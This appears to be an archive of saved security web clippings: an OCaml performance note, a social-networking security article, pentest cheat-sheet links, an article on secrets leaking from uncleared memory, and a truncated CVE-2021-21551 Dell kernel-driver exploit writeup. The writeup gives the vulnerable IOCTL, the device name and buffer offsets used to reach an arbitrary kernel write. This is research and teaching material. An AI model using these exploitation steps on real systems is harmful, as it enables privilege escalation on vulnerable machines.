Array.of\_list. It is not surprising as it does not allocate anything.

A more interesting phenomenon is that is also outperforms the non-tailrec
List.map on medium to large lists. I think this has to do with the GC : when
the non-tailrec List.map or map\_prefix iterate through a List, they have to
keep every element in memory; when the list is a bit large, this has a non-
neglectible cost \(I have not tried but I think you could see sensible
improvements by tweaking the GC parameters to have a bigger minor GC heap,
that sort of things\). What chunk\_map does is that it _ignores_ the first K
items, then process the tail : after the tail result is processed, the tail
elements are no longer useful and can be collected. In effect, there are at
most K items alive during a chunk\_map run, instead of all the elements of the
list. When K is too big \(I suppose bigger than the minor heap\), performances
will degrade.

Edit : I forgot to mention that this algorithm relies on the fact that we can
compute the map of the tail before the map on the first K elements. If one
wanted to enforce a left-to-right order of applications of the mapping
function \(as is done in the stdlib List.map, but isn't with the List.rev
workaround\), she would have to modify the function to first compute the map
of the K elements, then the tail, then concatenate the two. I expect this
solution to be less efficient than the Array.of\_list workaround, wich also
allows a correct order \(beauties of arbitrary index access\).

If the order of application is unimportant, it is also possible to reuse my
\(similar\) implementation of fold\_right, to just have : `let map f li =
fold_right (fun a tl -> f a :: tl)` It is a less efficient than the inlined
version \(I measure a ~15% slowdown, but that's still faster than
List.rev/Array.fold\_right\), but allows to localize the "code ugliness" in
fold\_right.

# Seven Deadly Sins of Social Networking Security

**Created:**| _7/2/2009 4:25:30 PM_  
---|---  
**Updated:**| _7/2/2009 4:25:41 PM_  
**Author:**| __  
**Tags:**| _web socialising_  
  

# Seven Deadly Sins of Social Networking Security

## To users of LinkedIn, Facebook, Myspace, Twitter or all of the above: Are
you guilty of one of these security oversights?

<img src='img/Temp2_7458.gif' width='336' height='280' />

by Bill Brenner, Senior Editor, CSO

June 30, 2009

Admit it: You are currently addicted to social networking. Your drug of choice
might be Facebook or Twitter, or maybe Myspace or LinkedIn. Some of you are
using all of the above, and using them hard, even IT security practitioners
who know better.

While it's impossible to escape every social networking threat out there,
there are steps one can take to significantly reduce the risks. CSOonline
recently checked in with dozens of IT security professionals \(ironically,
using more than one social networking platform to do so\) to pinpoint seven
typical security mistakes people make; and how to avoid them.

<img src='img/Temp2_7461.gif' width='90' height='90' alt='social networking
security: first deadly sin' />

**Over-sharing company activities**  
This is a sin of pride, when someone gets excited about something their
company is working on and simply must tell everyone about it. Maybe you work
for a drug company that is on the verge of developing the cure for cancer.
Maybe the company is developing a new car that runs on curbside trash -- in
other words, something everyone will want. \(See also: Intellectual Property
Security: Don't Lose Your Head\)

By sharing too much about your employer's intellectual property, you threaten
to put it out of business by tipping off a competitor who could then find a
way to duplicate the effort or find a way to spoil what they can't have by
hiring a hacker to penetrate the network or by sneaking a spy into the
building.

Then there are hackers controlling legions of botnets that could be programmed
to scour a company's defenses and, upon finding a weakness, exploit it to
access data on the intellectual property. With the data in hand, the hacker
can then sell what they have to the highest bidder, which just might be your
biggest competitor.

"Sharing this kind of information could lead to targeted attacks on specific
technology-producing enterprises," says Souheil Mouhammad, a senior security
expert at Altran Technologies.

This sin has sparked a debate in the security industry about whether companies
need to revise their employee computer use policies with more specific
language on what is/isn't allowed in the social networking arena \(see also:
Debate: Does Social Networking Require User Policy Changes?\).

To reign in the urge to share too much, it might be useful to repeat this
saying, which has started to appear in the public domain: "Loose Tweets Sink
Fleets." <img src='img/Temp2_7459.gif' width='90' height='90' alt='social
networking security: second deadly sin' />

**Mixing personal with professional**  
This sin is closely related to the first, but extends beyond the mere
disclosure of company data. This is the case where someone uses a social
network for both business and pleasure, most commonly on Facebook, where one's
friends include business associates, family members and friends \(see also:
Slapped in the Facebook: Social Networking Dangers Exposed\).

The problem is that the language and images one shares with friends and family
may be entirely inappropriate on the professional side. A prospective employer
may choose to skip to the next candidate after seeing pictures of you drunk or
showing off a little too much leg at someone's birthday party. In sharing such
things, you also stand a good chance of making the company you represent look
bad.

"In my view one of the major rules when engaging in social networking is to be
aware that your words belong in the public domain," says Paul V. de Souza,
chief security engineer at AT&T. "You may be quoted all over the Internet, so
make sure to choose your words carefully. Be diplomatic and extremely
professional."

In some cases, it's nearly impossible to separate business from the personal
on a social networking site. Those who work for media companies, for example,
are sometimes required to use all their social networking portals to
proliferate content in an effort to boost page views which, in turn, attract
potential advertisers. But wherever and whenever possible, security
practitioners work to keep each locked in their respective boxes.

"You have to understand very clearly what the objective of your presence on
any given social network is. If it is for work, keep it for work only. If it
is for personal/fun use, keep it for personal use only," says Benjamin
Fellows, a senior IT security and risk consultant at Ernst & Young. "I can't
tell you how many times I have been invited to Facebook by a work colleague
only to find things on their wall or profile that are definitely not
politically correct or are downright offensive. I keep all my work friends in
LinkedIn and my personal friends in Facebook. Even then, I am very careful
what I say on either site. I guess you could also put this under the heading
of know your audience."

<img src='img/Temp2_7463.gif' width='90' height='90' alt='social networking
security: third deadly sin' />

**Engaging in Tweet \(or Facebook/LinkedIn/Myspace\) rage**  
For the person who has just been laid off or had their professional integrity
called into question online, the urge to fire back with a stream of vitriol
can be irresistible. Call this a sin of wrath.

"You don't want to get into a flame war," says John Bruggeman, a Cincinnati-
based IT director. "Be mindful of what you say and imagine you are at a party
where everyone is listening, including your boss, spouse or future employer."

Scott Hayes, president and CEO of Database-Brothers Inc., agrees, saying,
"Posting any content when angry is about as dangerous as sending flaming
emails, if not more so. Think twice about clicking 'submit' because the world
may be looking at your angry, immature rant for years."

<img src='img/Temp2_7462.gif' width='90' height='90' alt='social networking
security: fourth deadly sin' />

**Believing he/she who dies with the most connections wins**  
For some social networkers, it's all about accumulating as many connections as
possible. Folks on LinkedIn are notorious for doing this, especially those in
such LinkedIn groups as TopLinked and LION. This may seem harmless enough or,
at the worst, just annoying. But when the name of the game is quantity over
quality, it's easy to link or "friend" a scam artist, terrorist or identity
thief.

"Always verify the person who wants to get in contact with you," says Ruud van
den Bercken, a security specialist at XS4ALL Internet in the Netherlands. "Do
you know him or her? If not, why is the person trying to connect with you?
Check if the profile of the other person is secured. If you can't retrieve a
list of that person's connections, you have to ask yourself" if you really
want to go down that road.

As San Francisco-based network and security architect/engineer Jatinder
Thukral puts it: "I'd rather have 50 relevant contacts than 500 unknowns."

<img src='img/Temp2_7464.gif' width='90' height='90' alt='social networking
security: fifth deadly sin' />

**Password sloth**  
Another common sin is one of laziness, in this case picking passwords for your
social networks that you're least likely to forget. In many cases, that means
using the same password for LinkedIn and Facebook that you're using for your
online bank account or work machine. If someone with malicious intent figures
out the password for one social network, that person can now go and access
everything else.

"Using the same password on several sites is like trusting the weakest link in
a chain to carry the same weight. Every site has vulnerabilities, plan for
them to be exploited," says Daniel Philpott, information security engineer at
OnPoint Consulting Inc.

<img src='img/Temp2_7465.gif' width='90' height='90' alt='social networking
security: sixth deadly sin' />

**Trigger finger \(clicking everything, especially on Facebook\)**  
Facebook in particular is notorious as a place where inboxes are stuffed with
everything from drink requests to cause requests. For some social networkers,
clicking on such requests is as natural as breathing. Unfortunately, the bad
guys know this and will send you links that appear to be from legitimate
friends. Open the link and you're inviting a piece of malware to infect your
machine. Christophe Veltsos, president of Prudent Security, describes this as
being "click-happy" and warns, "Don't click unless you're ready to deal with
drive-by downloads and zero-day attacks."

<img src='img/Temp2_7460.gif' width='90' height='90' alt='social networking
security: seventh deadly sin' />

**Endangering yourself and others**  
All of the above tie into the seventh and perhaps most serious sin, which is
that reckless social networking can literally put someone's life in danger. It
could be a relative or co-worker. Or it could be yourself.

Security experts advise extreme caution when posting birthday information, too
much detail on your spouse and children, etc. Otherwise, they could become the
target of an identity thief or even a kidnapper.

At the CSO Executive Seminar on Data Loss Prevention in Chicago, last month,
Motorola CSO Bill Boni expressed his reservations about using Twitter, calling
it a great way to get one's self kidnapped. "Don't be a twit," Boni said to
those who might feel the need to divulge every detail about their location and
what they're doing \(see also: The Final 5 Tweets of Harold Wigginbottom,
Tech-Savvy CEO\).

# Using IDA Pro's tracing features

**Created:**| _1/1/2010 10:05:47 PM_  
---|---  
**Updated:**| _1/1/2010 10:06:03 PM_  
**Author:**| __  
**Tags:**| _iDA Tutorials_  
  
<img src='img/Temp2_8763' />

# Security Assessment and Pentest tools Cheat Sheets | Life of a Penetration Tester
**Created:**| _3/9/2011 11:36:54 AM_  
---|---  
**Updated:**| _3/9/2011 11:37:00 AM_  
**Author:**| __  
**Tags:**| _cheat sheets pentest_  
  

# Security Assessment and Pentest tools Cheat Sheets

Got from my old Bookmarks ,below are some useful Cheat Sheets ,let me know if
u found any other cheat sheets i will update the post

Nmap  
http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf

Nessus  
http://www.secguru.com/link/nessus\_nmap\_scanning\_cheatsheet  
Backtrack 4  
http://www.corelan.be:8800/index.php/2009/07/04/backtrack-4-cheat-sheet/  
misc tools  
http://www.sans.org/resources/sec560/misc\_tools\_sheet\_v1.pdf  
Metasploit Meterpreter  
http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient  
http://www.rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html

  
Oracle Security  
http://www.red-database-security.com/wp/oracle\_cheat.pdf  
XSS  
http://ha.ckers.org/xss.html  
http://openmya.hacker.jp/hasegawa/security/utf7cs.html  
http://www.owasp.org/index.php/XSS\_\(Cross\_Site\_Scripting\)\_Prevention\_Cheat\_Sheet  
  
SQl Injection  
http://ha.ckers.org/sqlinjection/  
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/  
http://ferruh.mavituna.com/oracle-sql-injection-cheat-sheet-oku/  
http://www.irongeek.com/xss-sql-injection-fuzzing-barcode-generator.php

Microsoft SQL,Sybase,MySQL,Oracle,PostgreSQL,DB2,IngresBypass SQL Injection
Filters  
http://michaeldaw.org/sql-injection-cheat-sheet  
http://pentestmonkey.net/cheat-sheets/  
Packetlife Cheatsheets

http://packetlife.net/cheatsheets/

Ed Skoudis’ Pentest Cheatsheets

Windows commandline tools  
http://www.sans.org/resources/sec560/windows\_command\_line\_sheet\_v1.pdf  
Netcat Cheat Sheet  
http://www.sans.org/resources/sec560/netcat\_cheat\_sheet\_v1.pdf  
Useful Attack Tools, Metasploit commands, HPing, FGDump  
http://www.sans.org/resources/sec560/misc\_tools\_sheet\_v1.pdf

Reverse Engineering Malware Cheat Sheet

http://zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html

Security Archiecture Cheat Sheet for Internet Applications

http://zeltser.com/security-management/security-architecture-cheat-sheet.html

CEH cheatsheets from Mindcert

http://www.mindcert.com/resources/MindCert\_Nmap\_MindMap.pdf

http://www.mindcert.com/resources/MindCert\_CEH\_Enumeration\_MindMap.pdf

http://www.mindcert.com/resources/MindCert\_CEH\_Ethical\_Hacking\_MindMap.pdf

http://www.mindcert.com/resources/MindCert\_CEH\_Footprinting\_MindMap.pdf

http://www.mindcert.com/resources/MindCert\_CEH\_Scanning\_MindMap.pdf

http://www.mindcert.com/resources/MindCert\_CEH\_System\_Hacking\_MindMap.pdf

http://www.mindcert.com/resources/MindCert\_CEH\_Trojans\_MindMap.pdf

http://www.mindcert.com/resources/CCNA\_Cisco\_IP\_Routing.pdf

# Overwriting memory - why?

**Created:**| _1/22/2012 7:33:44 PM_  
---|---  
**Updated:**| _1/22/2012 7:33:44 PM_  
**Author:**| __  
**Tags:**| _C++ Memory_  
  

# Overwriting memory - why?

This is a translation of an article written by an ABBYY employee and first
published here: " ABBYY's blog. Overwriting memory - why? ". Translation done
and published with permission of the copyright holder.

We decided to publish this article in our knowledge base to show programmers
how easily private data can get out of the program handling them. There is the
V597 diagnostic rule in PVS-Studio that allows you to detect those calls of
the memset\(\) function which fail to clear the memory. But the danger looks
unconvincing and improbable. This article shows well that the danger is real
and must not be ignored.

There is SecureZeroMemory\(\) function in the depths of Win32 API. Its
description is rather concise and reads that this function overwrites a memory
region with zeroes and is designed in such way that the compiler never
eliminates a call of this function during code optimization. The description
further says this function should be used for overwriting memory that was
previously used to store passwords and cryptokeys.

One question remains - why is that needed? One can find some abstract
speculations about the risk of application's memory being written into swap
file, hibernate file or crash dump where an intruder could find it. It looks
like paranoia - definitely not every intruder can get access to these files.

There are much more possibilities to get access to data a program has
forgotten to overwrite, actually - sometimes even access to the computer is
not needed. Next we will consider an example, and everyone will decide for
himself/herself whether this paranoia is reasonable.

All the examples are in pseudocode that suspiciously resembles C++. Below are
lots of text and not very clean code, and later you will see that things are
not much better in clean code.

So. In a far-away function we get a cryptokey, a password or a PIN \(further
called simply "the secret"\), use it and do not overwrite it:

[code]

    {
        const int secretLength = 1024;
        WCHAR secret[secretLength] = {};
        obtainSecret( secret, secretLength );
        processWithSecret( what, secret, secretLength );
    }
[/code]

In another function that is completely unrelated to the previous one, our
application's instance asks another instance for a file with a specified name.
This is done using RPC - a dinosaur-age technology present in many platforms
and widely used by Windows for interprocess and intercomputer communication.  
Usually you have to write an interface specification in IDL to use RPC. It
will have a method specification similar to this:

[code]

    //MAX_FILE_PATH == 1024
    error_status_t rpcRetrieveFile(
        [in] const WCHAR fileName[MAX_FILE_PATH],
        [out] BYTE_PIPE filePipe );
[/code]

The second parameter here has a special type that facilitates passing data
streams of arbitrary lengths. The first parameter is a character array for the
filename.  
  
This specification is compiled by the MIDL compiler, and the latter produces a
header file \(.h\) with this function

[code]

    error_status_t rpcRetrieveFile (
      handle_t IDL_handle, 
      const WCHAR fileName[1024], 
      BYTE_PIPE filePipe);
[/code]

  
MIDL has added a service parameter here, and the second and the third
parameters are the same as in the previous specification.  
  
We call that function:

[code]

    void retrieveFile( handle_t binding )
    {
      WCHAR remoteFileName[MAX_FILE_PATH];
      retrieveFileName( remoteFileName, MAX_FILE_PATH );
      CBytePipeImplementation pipe;
      rpcRetrieveFile( binding, remoteFileName, pipe );           
    }
[/code]

Everything is fine - retrieveFileName\(\) gets a null-terminated \(no, the
terminating null character wasn't omitted\) string, the called party receives
the string and handles it, i.e. gets the full path to the file, opens it and
passes data from it.

Everyone is optimistic, and several product releases are shipped with this
code, but nobody has noticed the elephant yet. Here it is. From C++ point of
view, the following function's parameter

[code]

    const WCHAR fileName[1024]
[/code]

is not an array, but a pointer to the first array element. The
rpcRetrieveFile\(\) function is just a thunk also generated by MIDL. It
packages all its parameters and calls the same WinAPI NdrClientCall2\(\)
function each time which semantics is "Windows, could you please execute an
RPC-call with theeese parameters?" and passes the parameters list to the
NdrClientCall2\(\) function. One of the first parameters being passed is the
format string generated by MIDL according to the specification in IDL. Looks
much like the good old printf\(\).

NdrClientCall2\(\) looks carefully at the received format string and packages
the parameters for passing them to the other party \(this is called
marshalling\). Each parameter is accompanied by a type specifier, so each
parameter is packaged according to its type. In our case, the address of the
first array element is passed for the fileName parameter and "an array of 1024
items of the WCHAR type" specifier is passed for its type.

Now we have two successive calls in code:

[code]

    processWithSecret( whatever );
    retrieveFile( binding );
[/code]

The processWithSecret\(\) function occupies 2 Kbytes on the stack to store the
secret and forgets about them on return. The retrieveFile\(\) function is then
called, and it retrieves the filename which length is 18 characters \(18
characters plus terminating null - 19 characters total, i.e. 38 bytes\). The
filename is again stored on the stack and most likely it will be the same
memory region as the one used to store the secret in the first function.

Then a remote call occurs and the packing function dutifully packages the
whole array \(2048 bytes, not 38 bytes\) into a packet, and then this packet
is sent over the network.  
  
QUITE SUDDENLY

the secret is passed over the network. The application did not even intend to
ever pass the secret over the network, but the secret is passed. This defect
is much more convenient to "use" than even looking into the swap file. Who is
paranoid now?  
  
The example above looks rather complicated. Here is similar code that you can
try on codepad.org

[code]

    const int bufferSize = 32;
    
    void first()
    {
      char buffer[bufferSize];
      memset( buffer, 'A', sizeof( buffer ) );
    }
    
    void second()
    {
      char buffer[bufferSize];
      memset( buffer, 'B', bufferSize / 2 );
      printf( "%s", buffer );
    }
    
    int main()
    {
      first();
      second();
    }
[/code]

The code yields undefined behavior. At the moment of writing this post, the
results are the following: a string of 16 'B' characters followed by 16 'A'
characters.  
  
Now it's just the right time for brandishing pitchforks and torches and angry
shouts that no sane person uses simple arrays and that we must use
std::vector, std::string and the CanDoEverything class that handle memory
"correctly", and for a holy war worth no fewer than 9 thousand comments.  
  
All that wouldn't actually help in the above case because the packing function
in the depths of RPC would still read more data than previously written by the
calling code. As a result, it would read the data at the adjacent addresses or
\(in some cases\) the application would crash on illegal memory access. Those
adjacent addresses could again store data that must not be sent over the
network.  
  
Whose fault is it? As usual, it's the developer's fault - it is he/she who
misunderstood how the rpcRetrieveFile\(\) function handles received
parameters. This results in undefined behavior which leads to uncontrolled
transmission of data over the network. This can be fixed either by changing
the RPC-interface and altering the code on the both sides, or by using an
array of large enough size and fully overwriting it before copying a parameter
into the array.  
  
This is a situation where the SecureZeroMemory\(\) function would help: should
the first function overwrite the secret before returning, an error in the
second function would at least cause transmission of an overwritten array.
Getting a Darwin Award gets harder this way.

# Native x86 Decompilation Using Semantics-Preserving Structural Analysis and
Iterative Control-Flow Structuring

**Created:**| _10/30/2013 3:43:22 PM_  
---|---  
**Updated:**| _10/30/2013 3:43:59 PM_  
**Author:**| _wishi_  
**Tags:**| _Decompiler conference-material semantic_  
  
<img src='img/usenix13.pdf' width='100%' height='23339' />

# Quick introduction to Reverse Engineering for beginners

**Created:**| _8/14/2013 7:45:45 AM_  
---|---  
**Updated:**| _8/14/2013 7:46:50 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark asm reversing operating system internals tutorial_  
  
<img src='img/RE_for_beginners-en.pdf' width='100%' height='368455' />

# Exploit Development: CVE-2021-21551 - Dell ‘dbutil\_2\_3.sys’ Kernel Exploit Writeup | Home
**Created:**| _5/18/2021 5:42:46 PM_  
---|---  
**Updated:**| _5/18/2021 5:42:46 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Exploit Development: CVE-2021-21551 - Dell ‘dbutil\_2\_3.sys’ Kernel Exploit
Writeup

<img src='data:image/svg+xml,%3csvg class='svg-inline--fa fa-clock fa-w-16 js-
evernote-checked' aria-hidden='true' data-prefix='far' data-icon='clock'
role='img' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512' data-
fa-i2svg='' data-evernote-id='5'%3e%3cpath fill='currentColor' d='M256 8C119 8
8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5
0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200
200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12
12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6
349c-3.9 5.3-11.4 6.5-16.8 2.6z' data-evernote-id='98' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> 33 minute read

## Introduction

Recently I said I was going to focus on browser exploitation with Advanced
Windows Exploitation being canceled. With this cancellation, I found myself
craving a binary exploitation training, with AWE now being canceled for the
previous two years. I found myself enrolled in HackSysTeam’s Windows Kernel
Exploitation Advanced course, which will be taking place at the end of this
month at CanSecWest, due to the cancellation. I have already delved into the
basics of kernel exploitation, and I had been looking to complete a few
exercises to prepare for the end of the month, and shake the rust off.

I stumbled across this SentinelOne blog post the other day, which outlined a
few vulnerabilities in Dell’s ` dbutil_2_3.sys ` driver, including a memory
corruption vulnerability. Although this vulnerability was attributed to Kasif
Dekel, it apparently was discovered earlier by Yarden Shafir and Staoshi
Tanda, coworkers of mine at CrowdStrike.

After reading Kasif’s blog post, which practically outlines the entire
vulnerability and does an awesome job of explaining things and giving
researchers a wonderful starting point, I decided that I would use this
opportunity to get ready for Windows Kernel Exploitation Advanced at the end
of the month.

I also decided, because Kasif leverages a data-only attack, instead of
something like corrupting page table entries, that I would try to recreate
this exploit by achieving a full ` SYSTEM ` shell via page table corruption.
The final result ended up being an weaponed exploit. I wanted to take this
blog post to showcase just a few of the “checks” that needed to be bypassed in
the kernel in order to reach the final arbitrary read/write primitive, as well
as why modern mitigations such as Virtualization-Based Security \(VBS\) and
Hypervisor-Protected Code Integrity \(HVCI\) are so important in today’s
threat landscape.

In addition, three of my favorite things to do are to write, conduct
vulnerability research, and write code - so regardless of if you find this
blog helpful/redundant, I just love to write blogs at the end of the day :-\).
I also hope this blog outlines, as I mentioned earlier, why it is important
mitigations like VBS/HVCI become more mainstream and that at the end of the
day, these two mitigations in tandem could have prevented this specific method
of exploitation \(note that other methods are still viable, such as a data-
only attack as Kasif points out\).

## Arbitrary Write Primitive

I will not attempt to reinvent the wheel here, as Kasif’s blog post explains
very well how this vulnerability arises, but the tl;dr on the vulnerability is
there is an IOCTL code that any client can trigger with a call to `
DeviceIoControl ` that eventually reaches a ` memmove ` routine, in which the
user-supplied buffer from the vulnerable IOCTL routine is used in this call.

Let’s get started with the analysis. As is accustom in kernel exploits, we
first need a way, generally speaking, to interact with the driver. As such,
the first step is to obtain a handle to the driver. Why is this? The driver is
an object in kernel mode, and as we are in user mode, we need some
intermediary way to interact with the driver. In order to do this, we need to
look at how the ` DEVICE_OBJECT ` is created. A ` DEVICE_OBJECT ` generally
has a symbolic link which references it, that allows clients to interact with
the driver. This object is what clients interact with. We can use IDA in our
case to locate the name of the symbolic link. The ` DriverEntry ` function is
like a ` main() ` function in a kernel mode driver. Additionally, `
DriverEntry ` functions are prototyped to accept a pointer to a `
DRIVER_OBJECT `, which is essentially a “representation” of a driver, and a `
RegistryPath `. Looking at Microsoft documentation of a ` DRIVER_OBJECT `, we
can see one of the members of this structure is a pointer to a ` DEVICE_OBJECT
`.

<img src='img/Temp2_2838.png' width='576' height='371' />

Loading the driver in IDA, in the ` Functions window ` under ` Function name
`, you will see a function called ` DriverEntry `.

<img src='img/Temp2_2827.png' width='647' height='633' />

This entry point function, as we can see, performs a jump to another function,
` sub_11008 `. Let’s examine this function in IDA.

<img src='img/Temp2_2839.png' width='436' height='763' />

As we can see, the ` \Device\DBUtil_2_3 ` string is used in the call to `
IoCreateDevice ` to create a ` DEVICE_OBJECT `. For our purposes, the target
symbolic link, since we are a user-mode client, will be ` \\\\.\\DBUtil_2_3 `.

Now that we know what the target symbolic link is, we then need to leverage `
CreateFile ` to obtain a handle to this driver.

<img src='img/Temp2_2865.png' width='857' height='329' />

We will start piecing the code together shortly, but this is how we obtain a
handle to interact with the driver.

The next function we need to call is ` DeviceIoControl `. This function will
allow us to pass the handle to the driver as an argument, and allow us to send
data to the driver. However, we know that drivers create I/O Control \(IOCTL\)
routines that, based on client input, perform different actions. In this case,
this driver exposes many IOCTL routines. One way to determine if a function in
IDA contains IOCTL routines, although it isn’t fool proof, is looking for many
branches of code with ` cmp eax, DWORD `. IOCTL codes are DWORDs and drivers,
especially enterprise grade drivers, will perform many different actions based
on the IOCTL specified by the client. Since this driver doesn’t contain many
functions, it is relatively trivial to locate a function which performs many
of these validations.

<img src='img/dell4.png' width='960' height='615' />

Per Kasif’s research, the vulnerable IOCTL in this case is ` 0x9B0C1EC8 `. In
this function, ` sub_11170 `, we can look for a ` cmp eax, 9B0C1EC8h `
instruction, which would be indicative that if the vulnerable IOCTL code is
specified, whatever code branches out from that compare statement would lead
us to the vulnerable code path.

<img src='img/Temp2_2849.png' width='674' height='260' />

This compare, if successful, jumps to an ` xor edx, edx ` instruction.

<img src='img/Temp2_2874.png' width='532' height='192' />

After the XOR instruction incurs, program execution hits the ` loc_113A2 `
routine, which performs a call to the function ` sub_15294 `.

<img src='img/Temp2_2883.png' width='431' height='103' />

If you recall from Kasif’s blog post, this is the function in which the
vulnerable code resides in. We can see this in the function, by the call to `
memmove `.

<img src='img/Temp2_2881.png' width='535' height='773' />

What primitive do we have here? As Kasif points out, we “can control the
arguments to ` memmove `” in this function. We know that we can hit this
function, ` sub_15294 `, which contains the call to ` memmove `. Let’s take a
look at the prototype for ` memmove `, as seen here.

<img src='img/Temp2_2899.png' width='578' height='141' />

As seen above, ` memmove ` allows you to move a pointer to a block of memory
into another pointer to a block of memory. If we can control the arguments to
` memmove `, this gives us a vanilla arbitrary write primitive. We will be
able to overwrite any pointer in kernel mode with our own user-supplied
buffer\! This is great - but the question remains, we see there are _tons_ of
code branches in this driver. We need to make sure that from the time our
IOCTL code is checked and we are directed towards our code path, that any
compare statements/etc. that arise are successfully dealt with, so we can
reach the final ` memmove ` routine. Let’s begin by sending an arbitrary QWORD
to kernel mode.

<img src='img/Temp2_2895.png' width='891' height='801' />

After loading the driver on the debuggee machine, we can start a kernel-mode
debugging session in WinDbg. After verifying the driver is loaded, we can use
IDA to locate the offset to this function and then set a breakpoint on it.

<img src='img/Temp2_2833.png' width='955' height='122' />

Next, after running the POC on the debuggee machine, we can see execution hits
the breakpoint successfully and the target instruction is currently in RIP and
our target IOCTL is in the lower 32-bits of RAX, EAX.

<img src='img/Temp2_2833.png' width='955' height='122' />

After executing the ` cmp ` statement and the jump, we can see now that we
have landed on the XOR instruction, per our static analysis with IDA earlier.

<img src='img/Temp2_2871.png' width='958' height='472' />

Then, execution hits the call to the function \(` sub+15294 `\) which contains
the ` memmove ` routine - so far so good\!

<img src='img/Temp2_2889.png' width='958' height='309' />

We can see now we have landed inside of the function call, and a new stack
frame is being created.

<img src='img/Temp2_2879.png' width='959' height='472' />

If we look in the RCX register currently, we can see our buffer, when
dereferencing the value in RCX.

<img src='img/Temp2_2887.png' width='956' height='292' />

We then can see that, after stepping through the ` sup rsp, 0x40 ` stack
allocation and the ` mov rbx, rcx ` instruction, the value ` 0x8 ` is going to
be placed into ECX and used for the ` cmp ecx, 0x18 ` instruction.

<img src='img/Temp2_2880.png' width='955' height='469' />

What is this number? This is actually the size of our buffer, which is
currently one QWORD. Obviously this compare statement will fail, and
essentially an NTSTATUS code is returned back to the client of ` 0xC0000000D
`, which means ` STATUS_INVALID_PARAMETER `. This is the driver’s way to let
the client know one of the needed arguments wasn’t correct in the IOCTL call.
This means that if we want to reach the ` memmove ` routine, we will at least
need to send ` 0x18 ` bytes worth of data.

Refactoring our code, let’s try to send a contiguous buffer of ` 0x18 ` bytes
of data.

<img src='img/Temp2_2868.png' width='593' height='596' />

After hitting the ` sub_5294 ` function, we see that this time the ` cmp ecx,
0x18 ` check will be bypassed.

<img src='img/Temp2_2863.png' width='956' height='112' />

After stepping through a few instructions, after the ` test rax, rax ` bitwise
test and the jump instruction, we land on a load effective address
instruction, and we can see our call to ` memmove `, although there is no
symbol in WinDbg.

<img src='img/Temp2_2892.png' width='956' height='454' />

Since we are about to hit the call to ` memmove `, we know that the `
__fastcall ` calling convention is in use, as we see no movements to the stack
and we are on a 64-bit system. Because of this, we know that, based on the
prototype, the first argument will be placed into RCX, which will be the
destination buffer \(e.g. where the memory will be written to\). We also know
that RDX will contain the source buffer \(e.g. where the memory comes from\).

Stepping into the ` mov ecx, dword ptr[rsp+0x30] `, which will move the lower
32-bits of RSP, ESP, into ECX, we can see that a value of ` 0x00000000 ` is
about to be moved into ECX.

<img src='img/Temp2_2840.png' width='955' height='451' />

We then see that the value on the stack, at an offset of ` 0x28 `, is added to
the value in RCX, which is currently zero.

<img src='img/Temp2_2830.png' width='956' height='454' />

We then can see that invalid memory will be dereferenced in the call to `
memmove `.

<img src='img/Temp2_2843.png' width='958' height='154' />

Why is this? Recall the prototype of ` memmove `. This function accepts a
_pointer_ to memory. Since we passed raw values of junk, these addresses are
invalid. Because of this, let’s switch up our POC a bit again in order to see
if we can’t get a desired result. Let’s use ` KUSER_SHARD_DATA ` at an offset
of ` 0x800 `, which is ` 0xFFFFF78000000800 `, as a proof of concept.

This time, per Kasif’s research, we will send a ` 0x20 ` byte buffer. Kasif
points out that the ` memmove ` routine, before reaching the call, will select
at an offset of ` 0x8 ` \(the destination\) and ` 0x18 ` \(the source\).

<img src='img/Temp2_2832.png' width='411' height='614' />

After re-executing the POC, let’s jump back right before the call to ` memmove
`.

<img src='img/Temp2_2826.png' width='957' height='452' />

We can see that this time, ` 0x42 ` bytes, 4 bytes of them to be exact, will
be loaded into ECX.

<img src='img/Temp2_2855.png' width='958' height='455' />

Then, we can clearly see that the value at the stack, plus ` 0x28 ` bytes,
will be added to ECX. The final result is ` 0xFFFFF78042424242 `.

<img src='img/Temp2_2875.png' width='957' height='454' />

We then can see that before the call, another part of our buffer is moved into
RDX as the source buffer. This allows us an arbitrary write primitive\! A
buffer we control will overwrite the pointer at the memory address we supply.

<img src='img/Temp2_2829.png' width='955' height='143' />

The issue is, however, with the source address. We were attempting to target `
0xFFFFF78000000800 `. However, our address got mangled into `
0xFFFFF78042424242 `. This is because it seems like the lower 32-bits of one
of our user-supplied QWORDS first gets added to the destination buffer. This
time, if we resend the exploit and we change where ` 0x4242424242424242 ` once
was with ` 0x0000000000000000 `, we can “bypass” this issue, but having a
value of 0 added, meaning our target address will remain unmangled.

<img src='img/Temp2_2857.png' width='394' height='614' />

After sending the POC again, we can see that the correct target address is
loaded into RCX.

<img src='img/Temp2_2893.png' width='958' height='452' />

<img src='img/Temp2_2894.png' width='957' height='452' />

Then, as expected, our arguments are supplied properly to the call to `
memmove `.

<img src='img/Temp2_2876.png' width='957' height='141' />

After stepping over the function call, we can see that our arbitrary write
primitive has successfully worked\!

<img src='img/Temp2_2884.png' width='957' height='439' />

Again, thank you to Kasif for his research on this\! Now, let’s talk about the
arbitrary read primitive, which is very similar\!

## Arbitrary Read Primitive

As we know, whenever we supply arguments to the vulnerable ` memmove ` routine
used for an arbitrary write primitive, we can supply the “what” \(our data\)
and the “where” \(where do we write the data\). However, recall the image two
images above, showcasing our successful arguments, that since ` memmove `
accepts two pointers, the argument in RDX, which is a pointer to `
0x4343434343434343 `, is a kernel mode address. This means, at some point
between the ` memmove ` call and our invocation of ` DeviceIoControl `, our
array of QWORDS was transferred to kernel mode, so it could be used by the
driver in the call to ` memmove `. Notice, however, that the target address,
the value in RCX, is completely controllable by us - meaning the driver
doesn’t create a pointer to that QWORD, we can directly supply it. And, since
` memmove ` will interpret that as a pointer, we can actually overwrite
